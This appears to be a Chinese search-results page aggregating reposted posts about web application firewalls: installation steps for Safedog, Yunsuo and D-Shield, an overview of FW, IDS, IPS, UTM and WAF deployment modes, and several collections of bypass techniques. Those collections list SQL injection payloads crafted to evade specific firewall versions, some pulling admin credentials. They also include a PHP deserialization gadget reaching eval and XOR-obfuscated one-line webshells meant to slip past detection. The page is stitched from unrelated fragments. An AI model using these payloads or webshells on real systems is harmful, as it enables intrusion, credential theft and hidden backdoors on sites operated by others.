精华内容
下载资源
问答
  • 安装 - Linux 下载 http://download.safedog.cn/safedog_linux64.tar.gz wget http://download.safedog.cn/safedog_linux64.tar.gz 解压 tar xvf safedog_linux64.tar ...进入安装包解压目录...

    安装 - Linux

    下载
    http://download.safedog.cn/safedog_linux64.tar.gz
    wget http://download.safedog.cn/safedog_linux64.tar.gz
    
    解压
    tar xvf safedog_linux64.tar
    
    运行
    ./install.py
    
    卸载
    进入安装包解压目录
    chmod +x uninstall.sh
    ./uninstall.sh

    安装 - Windows

    下载
    http://down.safedog.cn/download/software/safedogfwqV5.0.exe

    使用指南

    https://www.safedog.cn/download/software/safedogfwq_Windows_Help.pdf
    
    https://www.safedog.cn/download/software/safedogfwq_linux_Help.pdf

     

    绕过

    规则缺陷绕过 - 搜索框 + 字符型SQL注入 +  IIS + ASPX + /**a*/

    aspx?Pro=广x' and 1=1 --     #检测
    aspx?Pro=广x' /**a*/and 1=1 --     #绕过

    #遍历
    aspx?Pro=广x' /**a*/union /**a*/select 1,2,3,4,5 --   
    aspx?Pro=广x' /**a*/and 1=(select 1) --

     

    PHP反序列化绕过

    <?php 
    class A{
        public $name;
        public $male;
        function __destruct(){
            $a = $this->name;
            $a($this->male);
        }
    }
    unserialize($_POST['un']);
    ?>
    
    POST - un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}
    
    GET -  x=phpinfo(); --结合Hackbar使用

     存储过程 + SQLServer 绕过

    ?type=1;EXEC/*(*/student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'

    转载于:https://www.cnblogs.com/AtesetEnginner/p/11356377.html

    展开全文
  • FW/IDS/IPS/WAF安全设备部署方式及优缺点 目录 1.基础防火墙FW/NGFW类 2.IDS类 3.IPS类 4.UTM类安全设备 5.主动安全类 目录 个人分类:网络及网络安全 现在市场上的主流网络安全产品...

    FW/IDS/IPS/WAF等安全设备部署方式及优缺点

    目录

     

    1.基础防火墙FW/NGFW类

    2.IDS类

    3.IPS类

    4.UTM类安全设备

    5.主动安全类

     

    目录

     

     

     

     

     

     

     

    个人分类: 网络及网络安全

     

    现在市场上的主流网络安全产品可以分为以下几个大类:

    1.基础防火墙FW/NGFW类

     

      主要是可实现基本包过滤策略的防火墙,这类是有硬件处理、软件处理等,其主要功能实现是限制对IP:port的访问。基本上的实现都是默认情况下关闭所有的通过型访问,只开放允许访问的策略。FW可以拦截低层攻击行为,但对应用层的深层攻击行为无能为力。
       FW部署位置一般为外联出口或者区域性出口位置,对内外流量进行安全隔离。部署方式常见如下


     

     

     

    2.IDS类

      此类产品基本上以旁路为主,特点是不阻断任何网络访问,主要以提供报告和事后监督为主,少量的类似产品还提供TCP阻断等功能,但少有使用。


     

    3.IPS类

     

      解决了IDS无法阻断的问题,基本上以在线模式为主,系统提供多个端口,以透明模式工作。在一些传统防火墙的新产品中也提供了类似功能,其特点是可以分析到数据包的内容,解决传统防火墙只能工作在4层以下的问题。和IDS一样,IPS也要像防病毒系统定义N种已知的攻击模式,并主要通过模式匹配去阻断非法访问,致命缺点在于不能主动的学习攻击方式,对于模式库中不能识别出来的攻击,默认策略是允许
    访问的!
      IPS类设备,常被串接在主干路上,对内外网异常流量进行监控处理,部署位置常见如下

     

    4.UTM类安全设备

     

      是以上三者的结合体,按照IDC提出“统一威胁管理”的概念来看,UTM是将防病毒、入侵检测和防火墙安全设备划归到一起“统一管理”的新类别。
      IDC将防病毒、防火墙和入侵检测等概念融合到被称为统一威胁管理的新类别中,该概念引起了业界的广泛重视,并推动了以整合式安全设备为代表的市场细分的诞生。由IDC提出的UTM是指由硬件、软件和网络技术组成的具有专门用途的设备,它主要提供一项或多项安全功能,将多种安全特性集成于一个硬设备里,构成一个标准的统一管理平台。
      由于性能要求出众,导致造价一般比较高,目前一般只有大型企业会有使用。
      UTM的优点主要有以下几条
      1.整合所带来的成本降低(一身兼多职嘛!) 
      2.降低信息安全工作强度 (减轻管理员负担)
      3.降低技术复杂度
      UTM也不能一劳永逸的解决所有安全问题,总结下来,有如下缺点
      1.网关防御的弊端 
      网关防御在防范外部威胁的时候非常有效,但是在面对内部威胁的时候就无法发挥作用了。有很多资料表明造成组织信息资产损失的威胁大部分来自于组织内部,所以以网关型防御为主的UTM设备目前尚不是解决安全问题的万灵药。 
      2.过度集成带来的风险
      3.性能和稳定性

    5.主动安全类

     

     

      和前面的产品均不同,主动安全产品的特点是协议针对性非常强,比如WAF就是专门负责HTTP协议的安全处理,DAF就是专门负责数据库Sql 查询类的安全处理。在主动安全产品中通常会处理到应用级的访问流程。对于不认识的业务访问全部隔离(以下以WAF为重点说明这一类安全设备)。
      WAF:Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。与传统防火墙不同,WAF工作在应用层,因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解,WAF对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,从而对各类网站站点进行有效防护。
      5.1 WAF部署位置
      通常情况下,WAF放在企业对外提供网站服务的DMZ区域或者放在数据中心服务区域,也可以与防火墙或IPS等网关设备串联在一起(这种情况较少)。总之,决定WAF部署位置的是WEB服务器的位置。因为WEB服务器是WAF所保护的对象。部署时当然要使WAF尽量靠近WEB服务器。
      5.2 WAF部署模式及优缺点
      透明代理模式、反向代理模式、路由代理模式及端口镜像模式。前三种模式也被统称为在线模式,通常需要将WAF串行部署在WEB服务器前端,用于检测并阻断异常流量。端口镜像模式也称为离线模式,部署也相对简单,只需要将WAF旁路接在WEB服务器上游的交换机上,用于只检测异常流量。

    部署模式1 透明代理模式(也称网桥代理模式)
      透明代理模式的工作原理是,当WEB客户端对服务器有连接请求时,TCP连接请求被WAF截取和监控。WAF偷偷的代理了WEB客户端和服务器之间的会话,将会话分成了两段,并基于桥模式进行转发。从WEB客户端的角度看,WEB客户端仍然是直接访问服务器,感知不到WAF的存在;从WAF工作转发原理看和透明网桥转发一样,因而称之为透明代理模式,又称之为透明桥模式。
      这种部署模式对网络的改动最小,可以实现零配置部署。另外通过WAF的硬件Bypass功能在设备出现故障或者掉电时可以不影响原有网络流量,只是WAF自身功能失效。缺点是网络的所有流量(HTTP和非HTTP)都经过WAF对WAF的处理性能有一定要求,采用该工作模式无法实现服务器负载均衡功能。 


      

     

    部署模式2 反向代理模式
      反向代理模式是指将真实服务器的地址映射到反向代理服务器上。此时代理服务器对外就表现为一个真实服务器。由于客户端访问的就是WAF,因此在WAF无需像其它模式(如透明和路由代理模式)一样需要采用特殊处理去劫持客户端与服务器的会话然后为其做透明代理。当代理服务器收到HTTP的请求报文后,将该请求转发给其对应的真实服务器。后台服务器接收到请求后将响应先发送给WAF设备,由WAF设备再将应答发送给客户端。这个过程和前面介绍的透明代理其工作原理类似,唯一区别就是透明代理客户端发出的请求的目的地址就直接是后台的服务器,所以透明代理工作方式不需要在WAF上配置IP映射关系。
      这种部署模式需要对网络进行改动,配置相对复杂,除了要配置WAF设备自身的地址和路由外,还需要在WAF上配置后台真实WEB服务器的地址和虚地址的映射关系。另外如果原来服务器地址就是全局地址的话(没经过NAT转换)那么通常还需要改变原有服务器的IP地址以及改变原有服务器的DNS解析地址。采用该模式的优点是可以在WAF上同时实现负载均衡。


      

     

    部署模式3 路由代理模式
      路由代理模式,它与网桥透明代理的唯一区别就是该代理工作在路由转发模式而非网桥模式,其它工作原理都一样。由于工作在路由(网关)模式因此需要为WAF的转发接口配置IP地址以及路由。
      这种部署模式需要对网络进行简单改动,要设置该设备内网口和外网口的IP地址以及对应的路由。工作在路由代理模式时,可以直接作为WEB服务器的网关,但是存在单点故障问题,同时也要负责转发所有的流量。该种工作模式也不支持服务器负载均衡功能。

     

     

    部署模式4 端口镜像模式
      端口镜像模式工作时,WAF只对HTTP流量进行监控和报警,不进行拦截阻断。该模式需要使用交换机的端口镜像功能,也就是将交换机端口上的HTTP流量镜像一份给WAF。对于WAF而言,流量只进不出。
      这种部署模式不需要对网络进行改动,但是它仅对流量进行分析和告警记录,并不会对恶意的流量进行拦截和阻断,适合于刚开始部署WAF时,用于收集和了解服务器被访问和被攻击的信息,为后续在线部署提供优化配置参考。这种部署工作模式,对原有网络不会有任何影响。

     

    posted @ 2019-03-31 17:02 卿先生 阅读(...) 评论(...) 编辑 收藏

    展开全文
  • 安装 安装 - Linux 前提:检查selinux状态 - 关闭selinux getenforce #显示为disabled则为关闭 1.下载 x86:wget ... tar xvzf yunsuo_agent_...

    安装

    安装 - Linux

    前提:
    检查selinux状态 - 关闭selinux getenforce #显示为disabled则为关闭 1.下载 x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz &amp;&amp; tar xvzf yunsuo_agent_32bit.tar.gz &amp;&amp; chmod +x yunsuo_install/install &amp;&amp; yunsuo_install/install x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz &amp;&amp; tar xvzf yunsuo_agent_64bit.tar.gz &amp;&amp; chmod +x yunsuo_install/install &amp;&amp; 2.解压 chmod +x yunsuo_install/install 3.在当前路径下执行安装 yunsuo_install/install 4.添加服务器到云中心。 /usr/local/yunsuo_agent/yunsuo_smart_tool.sh -u cloud_name -p cloud_passwd 注:cloud_name:云中心账户名;cloud_passwd:云中心登录密码 5.查看状态 ps -ef | grep yunsuo_agent 相关命令 云锁启动/停止/重启/运行状态 service yunsuo start/stop/restart/status /etc/init.d/yunsuo start/stop/restart/status 卸载 /usr/local/yunsuo_agent/uninstall

    安装 - Windos

    下载
    http://download.yunsuo.com.cn/v3/%E4%BA%91%E9%94%81%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF(%E5%AE%89%E8%A3%85%E5%9C%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A).exe

    免杀

    GET POST转换 + 空格替换
    针对过滤不完全情况

    搜索框 + SQL注入 + 字符型
    ?type=2%0A%09%0B%0C%0D/**//**//**//**//**//**//**/and%0A%09%0B%0C%0D/**//**//**//**//**//**//**/(select%0A%09%0B%0C%0D/**//**//**//**//**//**//**/1%0A%09%0B%0C%0D/**//**//**//**//**//**//**/from(select%0A%09%0B%0C%0D/**//**//**//**//**//**//**/count(*),concat(user(),floor(rand(0)*2))x%0A%09%0B%0C%0D/**//**//**//**//**//**//**/from%0A%09%0B%0C%0D/**//**//**//**//**//**//**/information_schema.tables%0A%09%0B%0C%0D/**//**//**//**//**//**//**/group%0A%09%0B%0C%0D/**//**//**//**//**//**//**/by%0A%09%0B%0C%0D/**//**//**//**//**//**//**/x)y)%23

    ?type=2%0A%09%0B%0C%0D/**//**//**//**//**//**//**/and%0A%09%0B%0C%0D/**//**//**//**//**//**//**/(select%0A%09%0B%0C%0D/**//**//**//**//**//**//**/1%0A%09%0B%0C%0D/**//**//**//**//**//**//**/from(select%0A%09%0B%0C%0D/**//**//**//**//**//**//**/count(*),concat(user(),floor(rand(0)*2))x%0A%09%0B%0C%0D/**//**//**//**//**//**//**/from%0A%09%0B%0C%0D/**//**//**//**//**//**//**/information_schema.tables%0A%09%0B%0C%0D/**//**//**//**//**//**//**/group%0A%09%0B%0C%0D/**//**//**//**//**//**//**/by%0A%09%0B%0C%0D/**//**//**//**//**//**//**/x)y)%23

    union select  +  ()绕过

    ?id=-1union(select 1,2,3,@@datadir,5,6,7,8,9,10,11,12,13,14,15,16,17)

    union select + '' + /**/ + ) + # 绕过

    ?id='/*')union select user,database() from users%23*/&submit=Submit#

    IIS + 字符编码绕过 - unicode

    asp?t=112 %u00aand(s%u00f0lect top 1 eventname_en from eventshelp) > 0

    WideChar和MultiByte字符转换问题 - 2002年

    一句话 + 菜刀 绕过

    <?php<br>
    $_REQUEST['a']($_REQUEST['b']);<br>
    ?>

    1.3.145版本 - 包冗余绕过

    超过7250byte的部分不被检测

    1.3.145版本 - \x00 绕过

    GET型
    def getdata(n):
        data = 'name=\x00test'
        data += '&id=select 1 from table'
        return data
    
    POST型
    def postdata(n)
        data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
        data += '------'WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
        data += '%27abcd\r\n'
        data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
        data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
        data += 'select 1 from table\r\n'
        data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
        return data
    
    COOKIE型
    header = {
        'User-Agent' : 'letmetest',
        'Content-Type' : 'multipart/form-data: boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
        'X-forwarded-For' : 'select 1 from table'
    }
    1.3.145版本 - E0绕过
    ?id=8E0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43#
    
    ?id=8E0union%20select%201,2,3,admin_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43%20from%20qs_admin#

    1.3.191版本 - E0 + /**/ + current_user 绕过

    ?id=8E0union/*123*/select/*123*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43#
    ?id=8E0union/*123*/select/*123*/1,2,3,current_user,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43#

    1.4.121版本 - 默认对post、cookie不检测,对header字段未做防护

    Header头 - Client-ip注入
    Client-ip: 1.2.3.4     'or @ `'` AND (SELECT 1 FROM (SELECT count(1),concat(round(rand(0)),
    (SELECT concat(username,0x23,password) FROM pm_admin LIMIT 0,1)) a FROM information_schema.tables
    GROUP by a)b) or @ `'` and ''='

     

     

     

     

    转载于:https://www.cnblogs.com/AtesetEnginner/p/11358064.html

    展开全文
  • 安装 下载http://www.d99net.net/down/d_safe_2.1.5.2.zip 使用说明 http://www.d99net.net/News.asp?id=106 免杀 array_map | assert <?php function test($a, $b) ...}...

    安装

    下载
    http://www.d99net.net/down/d_safe_2.1.5.2.zip

    使用说明

    http://www.d99net.net/News.asp?id=106

    免杀

    array_map |  assert

    <?php 
    function test($a, $b)
    {
        array_map($a, $b);
    }
    test(assert, array($_POST['x']));
    ?> 

    mb_substr

    <?php
    $m=$_GET['1'];
    $a=mb_substr($m,0,1); 
    $b=mb_substr($m,1,9999);
    eval($a.$b);
    ?>

    PHP一句话

    class LTDS
    {
        public function __destruct()
        {
            $bxo='X'^"\x39";
            $woa='?'^"\x4c";
            $ukt='K'^"\x38";
            $gud='d'^"\x1";
            $fbu='_'^"\x2d";
            $agx='<'^"\x48";
            $HLWV=$bxo.$woa.$ukt.$gud.$fbu.$agx;
            return @$HLWV($this->OX);
        }
    }
    $ltds=new LTDS();
    @$ltds->OX=isset($_GET['id'])?base64_decode($_POST['ua8']):$_POST['ua8'];
    
    http://www.xxx.com/shell.php  
    POST: ua8=phpinfo();  //与普通shell相同
    http://www.xxx.com/shell.php?id=xxx(xxxx随意更改)
    POST: ua8=cGhwaW5mbygpOwo=  //payload的base64编码

    异或 | PHP一句话

    <?php 
    header('HTTP/1.1 404');
    class ZXVG
    {
        public $c='';
        public function __destruct()
        {
            $_0='&'^"\x47";
            $_1='C'^"\x30";
            $_2='A'^"\x32";
            $_3='v'^"\x13";
            $_4='J'^"\x38";
            $_5='f'^"\x12";
            $db=$_0.$_1.$_2.$_3.$_4.$_5;
            return @$db($this->c);
        }
    }
    $zxvg=new ZXVG();
    @$zxvg->c=$_POST['mr6'];

     

    转载于:https://www.cnblogs.com/AtesetEnginner/p/11356491.html

    展开全文
  • “CitrixNetscaler”会在HTTP返回头部Cookie位置加入“ns_af”的值,可以以此判断为CitrixNetscaler的WAF,国内此类WAF很少 1 GET / HTTP/1.1 2 Host: target.com 3 User-Agent: Mozilla/5.0 ...
  • WAF、流控设备、堡垒机

    千次阅读 2018-11-22 19:06:49
    WAF(Web Application Firewall):web防火墙,WAF是通过执行一系列针对HTTP/HTTPS的安全策略来专门对web应用提供保护的一款产品,工作在应用层。 WAF的特点: 全面检测WEB代码 深入检测HTTP/HTTPS 强大的特征库 ...
  • 很多准备上WAF的网站管理者会问:WAF设备哪个牌子的比较好?真专家回复:国内,大约有80家大大小小的安全商,知名的如:绿盟、启明、神州数码等。厂家们前后推出的WAF产品尚在市场的大约有30多款,这些WAF服务着全国...
  • 没有绝对的waf防御.pdf

    2020-05-25 17:33:09
    该文档用于介绍日常的漏洞如何绕过WAF安全设备,介绍一些WAF安全设备本身存在漏洞,可供大家学习参考。
  • 傍晚,TT那边的天已经黑了。 周一通常是个不受待见的日子,又遇上下雨,如果再开个会,那应该就是有点糟糕了吧。...4、WAF,WEB应用防火墙,这个重要性不言而喻了,因为等保合规要求必须有,而且,这
  • WAF设备配置思路

    2012-03-23 06:35:35
    WAF设备的配置思路类似于防火墙,先根据用户用户的需求确认部署模式,WAF共有三种部署模式,分别是:透明模式、旁路模式、反向代理模式。 模式确定之后,安全策略的配置步骤如下: 建立被保护服务器组; ...
  • 浅谈WAF设备——WAF的过去和未来

    千次阅读 2021-02-16 21:45:37
    相关说明 由我所创作的所有网络安全相关文章,为了更好的防御,会教授大家如何攻击,因为攻击就是最好的防御...在没有WAF的那个年代,我们年少无知,在互联网上到处挖洞,那时候的程序员,小心谨慎,深怕代码有漏洞。.
  • 透明模式一般用于网络建设完,网络功能基本已经实现的情况下,用户需要加装防火墙以实现安全区域隔离的要求;早期也称之为桥模式。桥这个字是缘由于,交换机之前称之为网桥。 透明模式,意思就是字面意思,就是说,...
  • WAF是集WEB防护、网页保护、负载均衡、应用交付于一体的WEB整体安全防护设备的一款产品。 它具有异常检测协议 、增强输入验证、及时补丁等优势功能。 Incapsula的WAF以托管服务的形式提供安全解决方案。可保护应用...
  • WAF

    千次阅读 2018-01-08 10:06:26
    Web应用防护系统又叫做WAF。按照国际公认的说法,Web应用防火墙是通过执行一系列针对HTTP/HTTPS的网站安全策略来专门为Web应用提供保护的一款产品。随着web的内容与应用越来越丰富,信息量与价值量越来越...1.1硬件设备
  • 这篇文章内容关键详细介绍WAF的一些基本概念。WAF是专业为维护根据Web程序运行而设计的,我们科学研究WAF绕开的目地一是协助安服工作人员掌握渗透检测中的检测方法,二是可以对安全机器设备...
  • Web应用安全网关简称WAF(Web Application Firewall),该设备致力于解决Web网站的安全问题,能够实时识别和防护多种针对Web的应用层攻击,例如SQL注入、XSS跨站脚本、非法目录遍历等。WAF设备一般部署于web服务器...
  • WAF网站防火墙

    2021-05-29 14:35:04
    可以对安全机器设备生产商出示一些安全提议,立即修补WAF存有的安全难题,以提高WAF的完 备性和抗攻击能力。三是期待网站开发人员搞清楚并并不是布署了WAF就可以无忧无虑了,要搞 清楚系统漏洞造成的直接原因,...
  • 导读:之前推荐过一篇等级保护安全设备配置方案,那么,这些安全设备都是什么样的设备呢?有什么功能?如何部署?给大家推荐这篇安全设备知识点汇总。   网络安全等级保护网络设备、安全设备知识点汇总 本文...

空空如也

空空如也

1 2 3 4 5 ... 10
收藏数 192
精华内容 76
关键字:

waf安全设备